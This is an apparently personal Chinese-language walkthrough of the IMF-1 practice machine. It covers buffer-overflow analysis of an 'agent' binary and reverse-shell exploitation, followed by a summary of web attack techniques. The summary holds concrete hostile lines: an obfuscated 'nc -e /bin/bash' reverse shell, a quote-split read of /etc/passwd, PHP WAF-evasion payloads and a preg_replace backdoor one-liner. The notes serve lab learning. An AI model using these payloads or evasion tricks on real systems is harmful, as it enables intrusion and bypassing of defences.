项目八:IMF-1(下)
#复制agent到KAIl进行分析
---将靶机的agent文件拷贝到Kail(采用base64编码)

---在kail解码,获取文件:cat base64.txt | base64 -d > agent
---并且通过MD5检验传输是否出错

#使用ltrace(跟踪进程调用库函数的情况)查看agent信息
---ltrace的功能是能够跟踪进程的库函数调用,它会显现出哪个库函数被调用
---跟踪agent调用了哪些函数,发现是通过strncmp()进行登陆检验
---之前PHP也是通过strcmp()进行登陆检验

---strncmp()函数比strcmp()多出一个n的参数(即最大比多少位),防止缓冲区溢出
---为了防止缓冲区溢出,在C库函数中,许多对字符串操作的函数都有其"n兄弟"版本
---例如strncmp,strncat,snprintf……兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大字符数量
str1 要进行比较第一个字符串。str2 第二个字符串,n 要比较的最大字符数
如果返回值 = 0,则表示 str1 等于 str2
---PHP的strcmp可以通过[]绕过,但是这个可以输入48093572
---通过strings查看agent文件是否存在隐藏的信息
---这里因该提示了一些提取地点,存在2个输入字符串的位置

---这里绕过strncmp的方法就是输入4809357,并且存在2个输入字符串的地方:
---2. Request Extraction(输入提取位置)3Submit Report(提交报告)
---这2个地方都使用%s,很可能存在缓冲区溢出点

---容易导致缓冲区溢出的函数
strcpy
和strcat
:这些函数在复制和连接字符串时不会检查目标缓冲区的大小,如果源字符串长度超过目标缓冲区的大小,就会导致缓冲区溢出。gets
:gets
函数用于从标准输入读取字符串,但它不会限制输入字符串的长度,因此容易导致缓冲区溢出。sprintf
和vsprintf
:这些函数类似于strcpy
,但是可以格式化将多个字符串连接到目标缓冲区中。如果格式化的字符串长度超过目标缓冲区的大小,就会导致缓冲区溢出。scanf
和fscanf
:这些函数用于从标准输入或文件中读取格式化的数据。如果输入的数据格式与预期不符,或者输入数据超过目标缓冲区的大小,就会导致缓冲区溢出。read
和write
:这些函数用于从文件描述符读取数据或将数据写入文件描述符。如果不对读取和写入的数据长度进行正确的检查,可能会导致缓冲区溢出
---根据上面的函数,构建字典进行缓冲区溢出
---这里发现,还是可能存在(这样赛选不太行,需要通过IDE反汇编后,再来赛选)

---使用python输出200个A(Python3语法)
---通过200个A分别对Request Extraction和Submit Report进行测试
---发现Submit Report里面会提示分段错误,存在缓冲区溢出漏洞

---在Request Extraction里面,显示的只有一部分A,说明这里的输入函数存在n限制

##缓冲区溢出提权
--采用模式字符串生成200个字符串:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

---使用GDB来探测缓冲区溢出的值(ebp存储的值):gdb agent
---checksec 检测agent是否存在防护机制,这里没有机制

---添加模式字符串运行,发现缓冲区溢出点(ebp)处存储的值:0x41366641

---采用pattern_offset.rb根据模式字符串,推测处ebp的偏移量:168

---使用python3生成一个168的偏移(168个A(ebp),4个B(call_adr))
---这里发现EIP=call_adr里面填充的值,ebp =AAAA,说明偏移量是正确的
---注意:EAX先存储了A之后,又存储了B(相当于中转站)
---"EAX: 0xffffd254" 表示 EAX 值为 0xffffd254
---"'A' <repeats 152 times>" 表示在内存地址 0xffffd254 处,连续存储了 152 个 'A' 字符
---"T 322 377 377" 是一个字符串,它可能是位于 0xffffd254 内存地址的内容的一部分。注意这里的内容是以字符形式展示的,因为 0xffffd254 地址中存储
---综合上述信息,可以推测在内存中,从地址 0xffffd254 开始,连续存储了 'A' 字符共 152 次,然后是 "T 322 377 377",接着连续存储了 'A' 字符共 12 次,最后是 "BBBB"
---总结:EAX的值0xffffd254,该地址为传参的起始地址

---使用C来填充call_adr之后下面的值(注意:在栈中是地址的高位)
---ESP的值是16个C,而EAX的值,先是12个A,然后是4个B,最后是16个C
---这里搞不太懂为什么ESP的值不是存储的4个C(32位寄存器,一个字符8bit)
---思路1:call_adr跳转到ESP (ESP存储的是call_adr的下一个地址(地址高位))
---思路2:call_adr跳转到EAX,EAX会自动指向shellcode的上方(地址低位,但是EAX也会存储call_adr的地址啊)

---msfvenom生成Python类型的shellcode
---注意:靶机是x64的寄存器,但是兼容x86的,所以生成x86的系统也可以,-b表示坏字符
"\x00": 这是空字符(Null Character),通常表示字符串的终止符。在许多编程语言中,字符串是以空字符结尾的。当处理字符串时,如果遇到空字符,通常会被视为字符串的结尾,从而导致处理截断或意外终止。
"\x0a": 这是换行字符(Line Feed),也称为"LF"。在Unix和类Unix系统中,换行字符通常用于表示一行的结束。然而,Windows系统使用两个字符的序列"\r\n"来表示一行的结束。因此,如果在Windows系统中处理Unix格式的文本时,换行字符可能会导致格式错误。
"\x0b": 这是垂直制表符(Vertical Tab),ASCII为"VT"。它是一个控制字符,通常用于处理文本的格式控制。在大多数情况下,它很少使用,因此可能会导致处理问题或解释为其他字符
---生成的shellcode如下(使用python来利用shellcode)

---查看靶机是否开启ASLR
---这里发现是全随机,需要使用脚本去爆破call_adr下面的shellcode地址
---0 = 关闭;1 = 半随机:共享库/栈/mmap() / VDSO 将被随机化;2 = 全随机,包括heap

---搜索存在 jmp/call eax 汇编指令的函数(内存)地址:0x08048563
---"jmpcall eax" 将程序的执行流程跳转到存储在 eax
寄存器中地址,在执行跳转之前会保存当前的返回地址;asmsearch "jmp eax"是在指令集里面搜索存在jmp eax或者 call eax的地址
---由于eax的值会存储call_adr后面的shellcode的首地址
---所以找到call esp的函数地址,就会执行shellcode

---当然,如果不采用搜索eax的方法,通过查看esp的值,来进行跳转
---这里ESP是调用完call之后,销毁分配的堆栈,ESP=call_adr的下一个地址块(内存高位)

---构建调用shellcode的python2代码
---逻辑:1.run agent ;2.输入48093572;3.输入3;4.传入带shellcode的参数
---这里的思路和上一次的不同,上一次的是将shellcode写入call_adr之后
---而这一次是写入call_adr之前

---python2运行脚本(注意:之前的中文注释要全部删除)

---Kail监听6666端口,获取到flag6
---问题:为什么EAX会指向传入参数的首地址(例如:scanf函数提升的缓冲区的栈顶)

---Python3的脚本
#系统漏洞提权
---2022年1月25日 qualys安全研究人员披露 CVE-2021-4034 polkit pkexec 本地提权漏洞漏洞细节,polkit pkexec 中对命令行参数处理有误,导致参数注入,能够导致本地提权。
---pkexec应用程序为Linux系统预装工具,漏洞影响Ubuntu、Debian、Fedora、CentOS等主流Linux系统。攻击者可通过构造特定的参数诱导pkexec执行任意代码,从而获取本地管理员权限。该漏洞影响范围大,潜在危害程度高

---当然,也可以lsb_release -a查看发行版本,然后谷歌搜索
---但是CVE-2021-4034是最新披露的本地系统提取漏洞(打靶场通杀漏洞)

---内容如下,在exploit-db的这个exp还要编译so文件,比较麻烦
---直接github上下载:https://github.com/arthepsy/CVE-2021-4034
---但是我这里提权失败了

#GDB下断点分析
---gdb反汇编主函数
---反汇编的代码如下,发行了用户自定义的3个函数,以及入口的strncmp()比较函数
---在0x080486ba位置,对strncmp函数设置断点:break *0x80486ba
---然后输入:run,在输入AgentID的界面输入ID:123456789
---在代码区域,发现即将执行call指令,而且通过EAX给call指令传参

---在寄存器里面,eax=传递的参数(它这里只截取8位,所以寄存器装的下)
---esi,已经执行了:push ebp;EIP是即将执行的call指令的函数地址
---而且上一行的代码是push,所以esp指向的是栈顶,存储的值12345678

---查看栈顶的内存,gdb查看内存x的参数
---查看esp的值(ESP: 0xffffd2f0 --> 0xffffd30e ("12345678"))的内存:
x/4xw 0xffffd2f0:4显示内存块长度,x十六进制显示,w每个内存块长度为4Byte

--可以使用x/s以字符串显示内存的值,从指定地址开始解析字符,直到遇到 null 终止符 '\0'
---我之前以为esp指向地址的内存存储的12345678,但是在这里看来,里面存储的是内存
---这里我们在内存中找到了agentID的密码

#IDA pro分析
---打开agent文件

---IDA的常用命令
----查看文本视野,在这个地址点击tab键

---发现被重构成了代码
---这里是roport的代码,发现缓冲区溢出的根源是:gets函数
#PHP关于Linux WAF的绕过的4篇文件
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0
https://www.secjuice.com/web-application-firewall-waf-evasion/
https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/

##知识点总结
---1.Nmap主机发现、端口探测、版本探测、OS探测
---2.Web界面信息收集(用户名收集、前端源代码信息(敏感的编码/js编码文件名)、SQL注入/文件上传、robots.txt、readme.html)
---3.Dirb爆破Web的目录,根据信息收集访问Web目录,根据已知敏感目标dirb爆破二级目录
---4.登陆界面(无验证码):1.弱口令(默认密码)2.爆破字典(之前收集的用户名+cewl爬虫分词)3.爆破工具(BurpSuite / hydra /超级弱口令工具) 4.strcmp函数数组绕过
---5.常见的PHP函数绕过:md5()不可以处理数组、==若比较、in_array()数字型强制转型绕过、include的../../../绕过
---6.SQLmap获取数据库信息,以及通过数据包文件进行测试,-os-shell的原理:往服务器上写入了两个php:一个提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行
---7.查看Web数据库的敏感信息,获取敏感图片文件路径,binwalk,exiftools,strings分析图片
---9.文件上传源代码分析:1.$_FILES["file"]["size"]文件大小检测 2.$_FILES["file"]["type"]文件mime类型检测 3.in_array()文件后缀名检测 4.crappyWAF()文件的内容检测 5.exif_imagetype($_FILES["file"]["tmp_name"])进行文件内容首部检测,是否为GIF图像
---10.htaccess分析添加的解析,发现gif文件会当成php文件执行
---11.文件上传绕过:1.修改文件格式gif, 2.添加gif文件的存储头部:GIF8a绕过exif_imagetype() 3.``绕过WAF敏感的系统命令/代码执行函数 4.前端源代码提示绕过文件名
5.dirb爆破的二级目录获取上传文件的目录路径
---12.PHP单引号(不会解析)、双引号(会解析)、反引号的区别(系统命令执行)
---13.PHP系统命令执行函数:1.system() 、2.exec() 或者php_exec() 或者shell_exec() 、 3. passthru()
---14.PHP代码执行函数:1.eval() 、2.assert() 、3.preg_replace() 例如<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?> 、4.create_function()或者call_user_func()类似的匿名函数

---15.文件上传绕过的方法
----前端JS检测:浏览器禁用Javascript
---MIME检测:BP修改Content-Type类型
---白名单检测:1.%00截断、2.0x00截断(二进制数据)
---黑名单绕过:1、文件拓展名绕过(php2/php3/phtml)2. .htaccess绕过(本文)3. .user.ini绕过 4.中间件解析漏洞绕过(Apache:shell.php.jpg;Nginx:访问虚构目录:/test.jpg/test.php) 5.Windows系统特殊的命名规则绕过:文件后缀+(点/空格/::$DATA)、 6.条件竞争
----文件内容检测:1.检测图片格式(合成图片马/文件首部添加伪代码)2.WAF检测敏感的内容如:敏感系统/代码执行函数 、< 、/、\、>、?、" 等通配符或者特殊符号
---16.Linux敏感系统命令检测
---采用?通配符绕过(nc -e /bin/bash 127.0.0.1 1337):/???/n? -e /???/b??h 2130706433 1337
---采用级联绕过($ /bin/cat /etc/passwd )=$ /bin/c'at' /e'tc'/pa'ss'wd

---采用未初始化的bash变量绕过:$u 不存在,bash 将其视为空白字符串

---PHP后面;<command>被阻止:;<space><uninitialized var><command>绕过

---17.PHP恶意代码检测绕过
---使用十六进制对字符串转义,然后属于""将字符串定义为函数(只检测恶意函数)

---使用()或者string()将字符串转化为函数如:(sy.(st).em)(ls);,绕过:恶意函数 ""

---使用$_GET多变传参:?a=system&b=ls&code=$_GET[a]($_GET[b]);

---在函数名称和内容之间填充注释

---通过print_r(get_defined_functions()[internal])获取内置函数,然后调用执行

---通过字符数组来(字符串就是数组)来构建系统执行命令

---通过脚本文件名中找到所需的所有字符

---18.使用一句话(菜刀/冰蝎/蚁剑/哥斯拉)、php-reverse-shell(MSF的single的Payload,独立大马)、weevely(好用)、webacoo、MSF的msfvenom生成后门获取Webshell
---19.msfvenom生成后门:1.可执行的二进制文件(-f exe/elf) 2.生成WebShell脚本(-f raw >shell.php或者shell.jsp) 3.反弹shell的脚本(python/bash/Powershell) 4.生成shellcode(python版本/C语言版本)
---20.提权思路:1.uname/rb_release -a查看内核和版本,谷歌/searchexploit/msf搜索exp 2.sudo -l 、SUID 、/etc/sudoers | /etc/passwd | /etc/shadow的内容/权限提权 、计划任务 、系统服务 、 缓冲区溢出 、系统版本或内核漏洞
---21. Linux提权的工具:1.linpeas.sh信息收集 2.Linux-exploit-suggester.sh漏洞信息收集
---22.TCP三次握手和四次挥手:
---为了解决丢包问题(数据包长度)和乱序问题(建立发送缓冲区,确定序列号),没有收到ACK则超时重发数据包

---为什么是三次握手:防止2次握手,造成延时的SYN数据包的二次连接

---为什么是四次挥手,防止服务端的数据没有发送完全

---23.netstat -ano查看端口网络连接,ps -aux查看进程,konck端口碰撞,nc连接端口,ps -aux |grep agent发现agent文件以root执行(服务和计划任务都是root执行)
---24.base64复制粘贴agent的elf文件,md5sum检验传输是否出错
---25.通过ltrace查看调用的函数发现agentID密码(不好用),strings查看调用的函数(只能看mian里面的函数)
---26.IDA pro查看agent的反汇编,发现gets()函数存在缓冲区溢出,通过本地填充字符串测试发现分段错误
----27.采用pattern_create和pattern_offset对agent测试,获取缓冲区溢出(ebp)的偏移量
---28.采用GDB-peda.py对agent进行缓冲区溢出测试,验证偏移量,查看内容
---29.msfvenom生成py版本的shellcode,去除坏字符,
---30.通过查找call eax的函数地址,在call_adr的前面写入shellcode + (偏移量-len(shellcode) + call eax的函数地址
---31.利用Python2/3的socket连接agent服务,send发送消息,recv()设置消息的大小
---32cve-2021-4034-poc.c的使用(没有成功)
---33.checksec和sysctl -a --pattern randomize(cat /proc/sys/kernel/randomize_va_space)查看ALSR
#存在的问题
---为什么EAX的值会指向缓冲区栈顶的
--为什么这里没有使用nop以及爆破的方式来绕过ALSR,猜测和EAX有关
#思考:
---由于不知道.htaccess,所以:1.尝试可以上传哪些图片2.看图片能否解析成PHP(存在解析漏洞)3.尝试黑名单/白名单绕过等
